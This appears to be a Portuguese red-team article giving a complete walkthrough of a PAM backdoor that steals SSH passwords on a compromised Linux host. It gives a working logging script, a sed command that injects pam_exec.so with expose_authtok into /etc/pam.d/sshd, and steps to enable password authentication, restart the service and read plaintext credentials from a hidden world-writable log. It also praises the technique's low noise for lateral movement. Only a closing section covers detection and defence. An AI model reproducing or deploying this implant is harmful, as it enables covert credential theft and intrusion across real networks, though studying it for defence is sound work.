NT-2026.10.06 DOSSIÊ RED TEAM
PAM PATCH: CAPTURA DE CREDENCIAIS SSH NO LINUX VIA AUTENTICAÇÃO PAM
Walkthrough técnico de captura de credenciais SSH via PAM patch: recon com known_hosts, habilitação de PasswordAuthentication, script de logging, modificação de /etc/pam.d/sshd, reinício do serviço e validação com credenciais capturadas em /var/log/.authc.log.

Introdução: O Problema do Cracking Offline vs Captura em Tempo Real
Durante um pentest, quando se obtém acesso root a uma máquina Linux, o caminho tradicional para obter credenciais de outros usuários é extrair hashes do /etc/shadow e tentar quebrá-los offline. Isso exige GPU potente, tempo considerável e não há garantia de sucesso — hashes Linux (SHA-512, yescrypt) são significativamente mais resistentes que NTLM do Windows.
Além disso, hashes Linux não podem ser reutilizados diretamente em movimento lateral (pass-the-hash não funciona como no Windows). A técnica apresentada pela fonte — PAM patch — contorna esse problema capturando credenciais em texto claro no momento exato em que usuários legítimos autenticam via SSH.
Este artigo documenta o walkthrough completo publicado na fonte principal, explicando cada etapa: reconhecimento prévio via known_hosts, preparação do SSHD, criação do script de logging, injeção no PAM, ativação e validação.
Reconhecimento com Known Hosts
Antes de implementar a captura de credenciais, é fundamental entender a topologia de acesso da máquina comprometida. Clientes SSH armazenam hosts acessados anteriormente no arquivo known_hosts dentro do diretório .ssh de cada usuário.
cat /home/username/.ssh/known_hosts
Esses arquivos listam servidores aos quais o usuário já conectou — servidores Git, bastions, ambientes de staging, bancos de dados. Se a máquina comprometida está em um segmento de rede restrito, esses hosts podem residir em outras sub-redes ou atrás de controles de acesso inalcançáveis diretamente. Se o usuário reutiliza as mesmas credenciais nesses hosts, cada entrada no known_hosts torna-se um ponto de pivô lateral viável.
A fonte ilustra esse conceito com um exemplo prático: um host Git listado no known_hosts de um usuário comprometido pode ser o gateway para uma rede inteira anteriormente inacessível.


Preparando o Host: Habilitando PasswordAuthentication
O SSHD pode ser configurado para proibir totalmente a autenticação por senha, aceitando apenas chaves públicas. Para que a captura de credenciais funcione, a autenticação por senha deve estar habilitada.
Edite o arquivo de configuração do SSH:
vim /etc/ssh/sshd_config
Localize ou adicione a diretiva:
PasswordAuthentication yes
Esta alteração é o pré-requisito fundamental — sem ela, o PAM nunca receberá uma senha para processar, e o script de logging não terá nada a capturar.

Criando o Script de Logging
Com a autenticação por senha habilitada, o próximo passo é criar o script que interceptará as credenciais. Com privilégios de root:
cat > /usr/local/bin/logc.sh << 'EOF'
#!/bin/bash
read -r PASS
echo "$(date) User: ${PAM_USER} Password: ${PASS} From: ${PAM_RHOST}" >> /var/log/.authc.log
exit 0
EOF
chmod 755 /usr/local/bin/logc.sh
touch /var/log/.authc.log
chmod 777 /var/log/.authc.log
Análise do script:
read -r PASS: lê a senha do stdin — isso só funciona porque o módulo PAMpam_exec.soserá invocado com a opçãoexpose_authtok, que passa a senha digitada via stdin para o script executado.${PAM_USER}: variável PAM com o nome do usuário que está autenticando.${PAM_RHOST}: variável PAM com o host/IP de origem da conexão SSH.$(date): timestamp da tentativa.>> /var/log/.authc.log: anexa ao arquivo de log (o ponto no nome o torna oculto em listagens padrãols).chmod 777: permissões amplas garantem que o PAM (rodando como root mas invocando o script no contexto da autenticação) consiga escrever no arquivo.exit 0: crítico — como o módulo é configurado comooptional, o script deve retornar sucesso (0) para não bloquear autenticações legítimas mesmo se houver erro de escrita no log.

Aplicando o Patch no PAM
O mecanismo de autenticação PAM (Pluggable Authentication Modules) é configurado via arquivos em /etc/pam.d/. Para SSH especificamente, o arquivo alvo é /etc/pam.d/sshd. Para cobertura mais ampla (login local, su, sudo), poderiam ser alterados /etc/pam.d/common-auth (Debian/Ubuntu) ou /etc/pam.d/password-auth (RHEL/CentOS), mas a fonte foca no SSH.
O comando abaixo injeta a linha do pam_exec.so na primeira posição do arquivo, garantindo execução antes de qualquer outro módulo de autenticação:
grep -q logc.sh /etc/pam.d/sshd || sed -i '1i auth optional pam_exec.so expose_authtok /usr/local/bin/logc.sh' /etc/pam.d/sshd
head -5 /etc/pam.d/sshd
Decomposição da linha PAM:
auth: tipo de gerenciamento — autenticação (verificação de credenciais).optional: controle — o resultado deste módulo não determina sucesso/falha da autenticação geral. Se o script falhar, a autenticação prossegue normalmente. Isso evita *denial of service* acidental.pam_exec.so: módulo que executa um comando externo durante a autenticação.expose_authtok: essencial — instrui o PAM a passar a senha (authentication token) via stdin para o comando executado. Sem isso,read -r PASSno script receberia entrada vazia./usr/local/bin/logc.sh: caminho absoluto do script de logging.
A verificação com head -5 confirma que a linha foi inserida no topo do arquivo.

Aplicando e Testando o Patch
Para que as alterações no sshd_config e no PAM tenham efeito, o serviço SSH deve ser reiniciado:
grep -E '^PasswordAuthentication' /etc/ssh/sshd_config
systemctl restart ssh
systemctl is-active ssh
O primeiro comando confirma que PasswordAuthentication yes está ativo. O systemctl restart ssh recarrega a configuração do SSHD e, consequentemente, o PAM re-le o arquivo /etc/pam.d/sshd modificado. O systemctl is-active ssh valida que o serviço subiu corretamente.
Após o reinício, teste a captura autenticando-se via SSH com credenciais válidas a partir de outra máquina (ou localmente via ssh user@localhost). Qualquer tentativa de login — bem-sucedida ou não — passará pelo script de logging.

Validação: Credenciais Capturadas no Log
Após uma autenticação de teste, verifique o arquivo de log:
cat /var/log/.authc.log
A saída esperada segue o formato:
Tue Oct 6 14:32:15 UTC 2026 User: admin Password: SenhaSegura123 From: 192.168.1.50
Cada linha contém:
- Timestamp exato da tentativa (
$(date)). - Username (
PAM_USER) — quem tentou autenticar. - Senha em texto claro (
PASSlido viaexpose_authtok) — a evidência principal. - IP de origem (
PAM_RHOST) — de onde veio a conexão, útil para correlacionar com *known_hosts* e mapear movimento lateral.
Importante: o log captura todas as tentativas, incluindo falhas. Um atacante pode identificar padrões de senhas, credenciais de contas de serviço, ou credenciais reutilizadas em outros sistemas. Ao longo do tempo, este arquivo se torna um repositório valioso de credenciais válidas para pós-exploração e movimento lateral.

Considerações Finais e Limitações
A técnica de PAM patch para captura de credenciais SSH apresenta vantagens claras sobre cracking offline:
- Sem cracking necessário: credenciais obtidas em texto claro no momento da autenticação.
- Reutilização direta: senhas capturadas funcionam imediatamente para movimento lateral (diferente de hashes Linux).
- Acúmulo passivo: o log cresce organicamente conforme usuários legítimos acessam o sistema.
- Baixo ruído: a modificação é sutil — uma linha no PAM, um script discreto, um log oculto.
Limitações e detecção:
- Requer acesso root prévio na máquina alvo.
- Funciona apenas para autenticação por senha — chaves SSH (pubkey) não passam pelo
pam_exec.socomexpose_authtok. PasswordAuthentication yespode ser detectado por auditorias de hardening (CIS Benchmarks, Lynis).- Modificação de
/etc/pam.d/sshdé detectável por monitoramento de integridade de arquivos (AIDE, Tripwire, Wazuh). - Log em
/var/log/.authc.logcom permissões 777 é um IOC (Indicator of Compromise) óbvio se descoberto. - Não persiste após atualização do pacote
openssh-serveroupamque sobrescreva/etc/pam.d/sshd— para persistência, seria necessário hook no gerenciador de pacotes ou *systemd* drop-in.
Defesa: impor autenticação por chave pública (PasswordAuthentication no), monitorar alterações em /etc/pam.d/ e /etc/ssh/sshd_config, usar *FIDO2*/hardware keys, e auditar logs de autenticação anômalos (/var/log/auth.log, journalctl -u ssh).